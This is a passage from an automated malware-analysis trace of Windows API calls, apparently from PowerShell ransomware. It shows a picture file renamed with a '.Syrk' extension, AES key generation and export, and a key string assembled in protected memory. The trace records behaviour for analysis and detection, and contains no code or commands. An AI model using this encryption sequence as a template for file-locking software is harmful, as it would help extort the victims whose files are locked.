out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp.Syrk", lpFilePart=0x0) returned 0x2d [0254.562] EtwEventActivityIdControl () returned 0x0 [0254.563] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.563] EtwEventActivityIdControl () returned 0x0 [0254.563] EtwEventActivityIdControl () returned 0x0 [0254.563] EtwEventActivityIdControl () returned 0x0 [0254.569] EtwEventActivityIdControl () returned 0x0 [0254.570] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.570] EtwEventActivityIdControl () returned 0x0 [0254.570] EtwEventActivityIdControl () returned 0x0 [0254.570] EtwEventActivityIdControl () returned 0x0 [0254.575] EtwEventActivityIdControl () returned 0x0 [0254.575] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.576] EtwEventActivityIdControl () returned 0x0 [0254.576] EtwEventActivityIdControl () returned 0x0 [0254.576] EtwEventActivityIdControl () returned 0x0 [0254.580] EtwEventActivityIdControl () returned 0x0 [0254.581] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.581] EtwEventActivityIdControl () returned 0x0 [0254.581] EtwEventActivityIdControl () returned 0x0 [0254.583] EtwEventActivityIdControl () returned 0x0 [0254.588] EtwEventActivityIdControl () returned 0x0 [0254.588] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.589] EtwEventActivityIdControl () returned 0x0 [0254.589] EtwEventActivityIdControl () returned 0x0 [0254.589] EtwEventActivityIdControl () returned 0x0 [0254.593] EtwEventActivityIdControl () returned 0x0 [0254.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0254.641] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\rokbmhy7.bmp.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24d32ec | out: lpFileInformation=0x24d32ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1342b670, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x1342b670, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x134517d0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xaf34)) returned 1 [0254.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0254.642] GetConsoleOutputCP () returned 0x1b5 [0254.642] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0254.642] GetConsoleOutputCP () returned 0x1b5 [0254.642] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0254.642] GetConsoleOutputCP () returned 0x1b5 [0254.642] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.642] GetConsoleOutputCP () returned 0x1b5 [0254.643] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.643] GetConsoleOutputCP () returned 0x1b5 [0254.643] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0254.643] GetConsoleOutputCP () returned 0x1b5 [0254.643] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0254.643] GetConsoleOutputCP () returned 0x1b5 [0254.643] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.643] GetConsoleOutputCP () returned 0x1b5 [0254.644] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.644] GetConsoleOutputCP () returned 0x1b5 [0254.661] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0254.661] GetConsoleOutputCP () returned 0x1b5 [0254.661] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0254.661] GetConsoleOutputCP () returned 0x1b5 [0254.661] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.662] GetConsoleOutputCP () returned 0x1b5 [0254.662] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.662] GetConsoleOutputCP () returned 0x1b5 [0254.662] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0254.662] GetConsoleOutputCP () returned 0x1b5 [0254.662] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0254.662] GetConsoleOutputCP () returned 0x1b5 [0254.662] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.662] GetConsoleOutputCP () returned 0x1b5 [0254.663] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.663] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0254.663] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0254.664] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24ecf0c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24ecf0c*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0254.665] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0254.665] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0254.666] EtwEventActivityIdControl () returned 0x0 [0254.666] EtwEventActivityIdControl () returned 0x0 [0254.666] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.667] EtwEventActivityIdControl () returned 0x0 [0254.667] EtwEventActivityIdControl () returned 0x0 [0254.667] EtwEventActivityIdControl () returned 0x0 [0254.668] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.669] EtwEventActivityIdControl () returned 0x0 [0254.669] EtwEventActivityIdControl () returned 0x0 [0254.669] EtwEventActivityIdControl () returned 0x0 [0254.671] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d430) returned 1 [0254.672] CryptGenKey (in: hProv=0x5c4d430, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c999a0) returned 1 [0254.672] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0254.672] CryptExportKey (in: hKey=0x5c999a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0254.672] CryptExportKey (in: hKey=0x5c999a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24f48d8, pdwDataLen=0x5a2e8c4 | out: pbData=0x24f48d8*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0254.673] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.673] EtwEventActivityIdControl () returned 0x0 [0254.673] EtwEventActivityIdControl () returned 0x0 [0254.673] EtwEventActivityIdControl () returned 0x0 [0254.674] SysStringLen (param_1="") returned 0x8 [0254.674] SysStringLen (param_1="p") returned 0x8 [0254.674] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.674] SysStringLen (param_1="ﾪjⷡ雁굘꧊盬셒") returned 0x8 [0254.674] SysStringLen (param_1="ﾪjⷡ雁굘꧊盬셒") returned 0x8 [0254.674] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.675] SysStringLen (param_1="p1") returned 0x8 [0254.675] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.675] SysStringLen (param_1="퉰랚鷛蹪칳쥜핫曊") returned 0x8 [0254.675] SysStringLen (param_1="퉰랚鷛蹪칳쥜핫曊") returned 0x8 [0254.675] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.675] SysStringLen (param_1="p1L") returned 0x8 [0254.675] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.675] SysStringLen (param_1="닻윏閥ꞝ瞣᥇柃䅳") returned 0x8 [0254.676] SysStringLen (param_1="닻윏閥ꞝ瞣᥇柃䅳") returned 0x8 [0254.676] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.676] SysStringLen (param_1="p1Lw") returned 0x8 [0254.676] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.676] SysStringLen (param_1="裃阷嵄꠸ꚽ⭨뷘") returned 0x8 [0254.676] SysStringLen (param_1="裃阷嵄꠸ꚽ⭨뷘") returned 0x8 [0254.676] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.676] SysStringLen (param_1="p1LwE") returned 0x8 [0254.676] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.676] SysStringLen (param_1="䟃ꓞኖ⧲哷唖쉛") returned 0x8 [0254.676] SysStringLen (param_1="䟃ꓞኖ⧲哷唖쉛") returned 0x8 [0254.676] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.676] SysStringLen (param_1="p1LwEk") returned 0x8 [0254.676] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.677] SysStringLen (param_1="㜲쟚⦒᰹纔﷉ᏼ彟") returned 0x8 [0254.677] SysStringLen (param_1="㜲쟚⦒᰹纔﷉ᏼ彟") returned 0x8 [0254.677] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.677] SysStringLen (param_1="p1LwEkB") returned 0x8 [0254.677] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.677] SysStringLen (param_1="︙믭縜걕鴟꽚齃") returned 0x8 [0254.677] SysStringLen (param_1="︙믭縜걕鴟꽚齃") returned 0x8 [0254.677] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.677] SysStringLen (param_1="p1LwEkB8") returned 0x8 [0254.677] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.677] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲") returned 0x8 [0254.678] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲") returned 0x8 [0254.678] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲") returned 0x8 [0254.678] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲") returned 0x10 [0254.678] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.678] SysStringLen (param_1="p1LwEkB8ZẤ碭앹胝峕ꋉ") returned 0x10 [0254.678] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.679] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲邈搮淉걯ᐉ탰骆ᥨ") returned 0x10 [0254.679] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲邈搮淉걯ᐉ탰骆ᥨ") returned 0x10 [0254.679] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.679] SysStringLen (param_1="p1LwEkB8Z4碭앹胝峕ꋉ") returned 0x10 [0254.679] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.679] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲펟竼⍍蒘ꪹﯧ櫔") returned 0x10 [0254.679] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲펟竼⍍蒘ꪹﯧ櫔") returned 0x10 [0254.679] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.679] SysStringLen (param_1="p1LwEkB8Z4/앹胝峕ꋉ") returned 0x10 [0254.679] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.679] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲\燜ଭ犖洞垔\㫙遹") returned 0x10 [0254.679] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲\燜ଭ犖洞垔\㫙遹") returned 0x10 [0254.679] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.680] SysStringLen (param_1="p1LwEkB8Z4/i胝峕ꋉ") returned 0x10 [0254.680] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.680] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲싉加藏뺔鵑䚝") returned 0x10 [0254.680] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲싉加藏뺔鵑䚝") returned 0x10 [0254.680] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.680] SysStringLen (param_1="p1LwEkB8Z4/iz胝峕ꋉ") returned 0x10 [0254.680] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.680] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲ꢻ參᪡Ⴢ\싘⋢) returned 0x10 [0254.680] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲ꢻ參᪡Ⴢ\싘⋢) returned 0x10 [0254.680] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.680] SysStringLen (param_1="p1LwEkB8Z4/iz0峕ꋉ") returned 0x10 [0254.680] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.681] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲㰳삘욾炑\燜㧔郿∔) returned 0x10 [0254.681] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲㰳삘욾炑\燜㧔郿∔) returned 0x10 [0254.681] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.681] SysStringLen (param_1="p1LwEkB8Z4/iz04ꋉ") returned 0x10 [0254.681] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.681] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲\瓜䖨떨蒍↤έ豃⊥) returned 0x10 [0254.681] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲\瓜䖨떨蒍↤έ豃⊥) returned 0x10 [0254.681] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.681] SysStringLen (param_1="p1LwEkB8Z4/iz04s") returned 0x10 [0254.681] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.681] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜⋽) returned 0x10 [0254.681] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜⋽) returned 0x10 [0254.682] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜⋽) returned 0x10 [0254.682] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜⋽) returned 0x18 [0254.682] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.682] SysStringLen (param_1="p1LwEkB8Z4/iz04sw૑蔭夑ゃ") returned 0x18 [0254.682] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.682] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜诽义뜰琚㛒śᴍ잀⋂) returned 0x18 [0254.682] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜诽义뜰琚㛒śᴍ잀⋂) returned 0x18 [0254.682] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.682] SysStringLen (param_1="p1LwEkB8Z4/iz04swj૑蔭夑ゃ") returned 0x18 [0254.682] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.683] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜ꟽﻎ捞㵝濴摸䀵\矙") returned 0x18 [0254.683] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜ꟽﻎ捞㵝濴摸䀵\矙") returned 0x18 [0254.683] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.683] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8蔭夑ゃ") returned 0x18 [0254.683] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.683] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜㳙ꋣ鿯戣뎉㡊㏼≿) returned 0x18 [0254.683] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜㳙ꋣ鿯戣뎉㡊㏼≿) returned 0x18 [0254.683] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.683] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8J夑ゃ") returned 0x18 [0254.683] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.683] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜烽䝽ꄦ梿፞ⲙ쑲尩砀㠀昀∀) returned 0x18 [0254.683] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜烽䝽ꄦ梿፞ⲙ쑲尩砀㠀昀∀) returned 0x18 [0254.683] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.684] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8Joゃ") returned 0x18 [0254.684] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.684] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜⃽͐鹄粰徽鄖둔㓦∯) returned 0x18 [0254.684] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜⃽͐鹄粰徽鄖둔㓦∯) returned 0x18 [0254.684] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.684] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFゃ") returned 0x18 [0254.684] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.684] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜濽䪜᲏업롯㝳⋉) returned 0x18 [0254.684] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜濽䪜᲏업롯㝳⋉) returned 0x18 [0254.684] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.684] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtゃ") returned 0x18 [0254.684] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.685] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜狽ዩ⬮꓁떐亰ꉣ䮈≮) returned 0x18 [0254.685] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜狽ዩ⬮꓁떐亰ꉣ䮈≮) returned 0x18 [0254.685] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.685] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJ") returned 0x18 [0254.685] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.685] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤") returned 0x18 [0254.685] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤") returned 0x18 [0254.685] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤") returned 0x18 [0254.685] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤") returned 0x20 [0254.686] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.686] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJD헣㶰綐⟳͑䊷ᣟ") returned 0x20 [0254.686] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.686] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤掸ⓔ䧖ュꥮ") returned 0x20 [0254.686] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤掸ⓔ䧖ュꥮ") returned 0x20 [0254.686] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.686] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJDZ㶰綐⟳͑䊷ᣟ") returned 0x20 [0254.686] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.686] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤琉圣┛쥑ﰻ쩎腪") returned 0x20 [0254.686] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤琉圣┛쥑ﰻ쩎腪") returned 0x20 [0254.686] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.687] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJDZl綐⟳͑䊷ᣟ") returned 0x20 [0254.687] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.687] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤틗绖\ﻘ䬷ቩ肧⋉) returned 0x20 [0254.687] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤틗绖\ﻘ䬷ቩ肧⋉) returned 0x20 [0254.687] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.687] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJDZlO⟳͑䊷ᣟ") returned 0x20 [0254.687] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.687] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤媝秷\诚㒤暀嶰⊀) returned 0x20 [0254.687] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤媝秷\诚㒤暀嶰⊀) returned 0x20 [0254.687] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.687] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJDZlOo͑䊷ᣟ") returned 0x20 [0254.687] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.688] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤哠鳯Ⅽ぀ⸯ啶䂑") returned 0x20 [0254.688] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤哠鳯Ⅽ぀ⸯ啶䂑") returned 0x20 [0254.688] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.688] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJDZlOoy䊷ᣟ") returned 0x20 [0254.688] SystemFunction040 (in: Memory=0x32ce8c, 